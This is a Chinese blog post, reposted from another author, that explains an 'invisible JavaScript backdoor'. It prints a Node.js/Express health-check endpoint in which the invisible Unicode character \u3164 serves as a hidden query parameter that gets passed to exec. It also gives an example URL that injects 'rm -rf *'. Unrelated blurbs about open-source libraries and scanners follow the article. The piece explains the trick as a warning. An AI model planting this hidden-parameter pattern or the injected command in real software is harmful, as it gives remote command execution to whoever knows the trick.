以前有人说,开源项目非常安全,因为谁都可以看到代码,所以不怕里面藏有后门。
这样的言论显然非常天真,一来,并不会有很多人真的去看源代码;二来,有一些缺陷隐藏得很深,光看源代码看不出来,例如 log4j2;第三,有办法把后门藏在一段非常安全的代码里面,你即使看源代码也看不出哪里有问题。
今天这个案例,是我在网上闲逛(mo yu)的时候偶然发现的,它的做法非常精巧,可以称得上是光明正大开后门。
案例文章的原始地址是:The Invisible JavaScript Backdoor这篇文章给出了一段看起来非常安全的Node.js 的代码:
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
这段代码使用 Express 框架搭建了一个 api 接口,当你调用http://127.0.0.1:8080/network_health的时候,后台会首先ping一下 Google,然后再使用curl访问http://example.com。
如果都成功了,那么显然你的网络是正常的,于是给你返回ok。你也可以设置参数timeout=xxx来限定这两个测试必需在多长时间内完成,否则视为网络有问题。
这个功能简单得不能再简单了,能有什么问题呢?我现在就把代码放到你的面前让你来Review,你能说我的代码有问题?
但实际上,上面这段代码确实有一个后门,可以让我在部署了这个接口的机器上执行任意命令,包括但不限于下载木马或者rm -rf *。
这段代码的问题,就出现在图中我画箭头的这两个地方:
这两个地方的逗号后面,并不是空格,而是一个看不见的符号:\u3164。我们知道,在 JavaScript 里面,几乎任何非关键字的Unicode 符号都可以用来当做变量名。而\u3164也是一个 Unicode 字符,所以它显然也可以当做变量名。
我们来看上面代码中,执行命令的地方:
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
这里,Node.js 会调用系统 Shell 执行数组checkCommands中的两条命令。如果我这样写:
const hide_command = 'rm -rf *'
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤhide_command
];
那你肯定知道我执行了三条命令,其中第三个命令会删除电脑里面的文件。现在,我把里面的名字hide_command换成\u3164:
const ㅤ = 'rm -rf *'
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
你虽然可能会觉得const ㅤ = 'rm -rf *'有点奇怪,但你应该不会怀疑下面的数组有什么问题。因为在你的眼里,这个数组只有两条命令,但它实际上有三条命令。
而这段攻击代码,把const ㅤ = 'rm -rf *'这个奇怪的赋值语句也给隐藏到了const { timeout,ㅤ} = req.query;当中。因为在 Express 中,我们可以这样设置 URL 参数:
const {id, name, type} = req.query;
那么,你在 URL 里面就可以使用这三个参数:http://127.0.0.1:8000/network_health?id=xxx&name=yyy&type=zzz。现在,这段有后门的代码,其实会接收两个参数,分别是timeout和ㅤ,其中后者这个看起来像是空格的就是\u3164,也就是变量名。
所以,我可以通过访问 URL:http://127.0.0.1:8000/network_health?timeout=10&ㅤ=rm -rf *。把删除系统文件的命令传入进来。这里可以传入任何 Shell 命令,如果不想删除对方的系统,那么可以通过执行 Shell 下载一个木马程序到对方的电脑上,然后就可以每天远程偷偷监控对方在干什么了。
总结
这样的后门真的是防不胜防。我也没有什么好办法能避免被欺骗。例如你在Github 上面看到有人开源了一个基于 Node.js 实现的电商系统,于是你就把它拿来用,搭建出了你自己的在线商城卖点小东西。也许某一天,你会发现你的账目对不上,也许就是因为这个系统里面留有这样的后门?
只能说最好的办法就是不要运行来历不明的代码,也不要因为代码是开源项目,就盲目觉得它很安全。
文章来源于未闻Code ,作者kingname
一个开源项目维护者必须一年到头无偿地做这么多复杂繁琐的工作。当我们很方便的使用开源项目时,太容易忘记项目维护者的辛苦付出了,有时候,开源项目维护者真的需要你对他说一声谢谢。
Emoji(表情符号)的使用到处都有,想通过js为自己的网页添加Emoji吗?今天就为大家整理在Github上最受欢迎的Emoji开源库,让自己的页面显示Emoji。
开源软件open source software创立 20 周年的纪念日。由于开源软件渐受欢迎,并且为这个时代强有力的重要变革提供了动力,我们仔细反思了它的初生到崛起。
得益于开源运动的蓬勃发展,众多技术顶尖的公司、团队或者个人通过开源的方式向技术社区贡献了许多优秀的开源项目,一方面大大促进了整体技术的发展
开源的本质是什么,免费还是自由?国内的很多软件公司或研究机构对开源的热情仅限于免费的代码,而绝少深度参与开源社区的活动。我们对于开源始终是利用多,而贡献少,从国内发起的有一定影响力的开源项目如果不是完全没有,恐怕也是凤毛麟角。
很多人也想了解一下最新和感觉有用的.NET开源项目,最近准备面试为了有料说,在网上找到了一些开源的项目,个人觉得还不错,所以给大家分享一下,共同进步。
无论是开发新手还是经验丰富的老手,我们都喜欢开源软件包。对于开发者来说,如果没有这些开源软件包,很难想象我们的生活会变得多么疲惫不堪,而且靠咖啡度日也会成为家常便饭。所幸的是,随着 Vue.js 和 Nuxt.js 社区的不断壮大,每天都会出现一些很好的软件包。
在去年的 Microsoft Connect(); 开发者大会上,微软宣布开源三种主要的 Windows UX 技术,其中就包括了 Windows Presentation Foundation (WPF),除此之外还有 Windows Forms 和 Windows UI XAML 库 (WinUI)
Arachni是一款基于Ruby框架构建的高性能安全扫描程序,适用于现代Web应用程序。XssPy一个基于Python的XSS(跨站脚本)漏洞扫描器。w3af,从2006开始使用python开发的开源项目,可以用在window和linux环境下
任何一个开发者,都是十分喜欢使用开源软件包的。因为它使开发工作变得更快速、高效、容易。如果没有开源软件包,开发工作将变得疲惫不堪,不断的重复造轮子!下面整理了 Github 上 36 个实用的 Vue 开源库,建议收藏!
内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!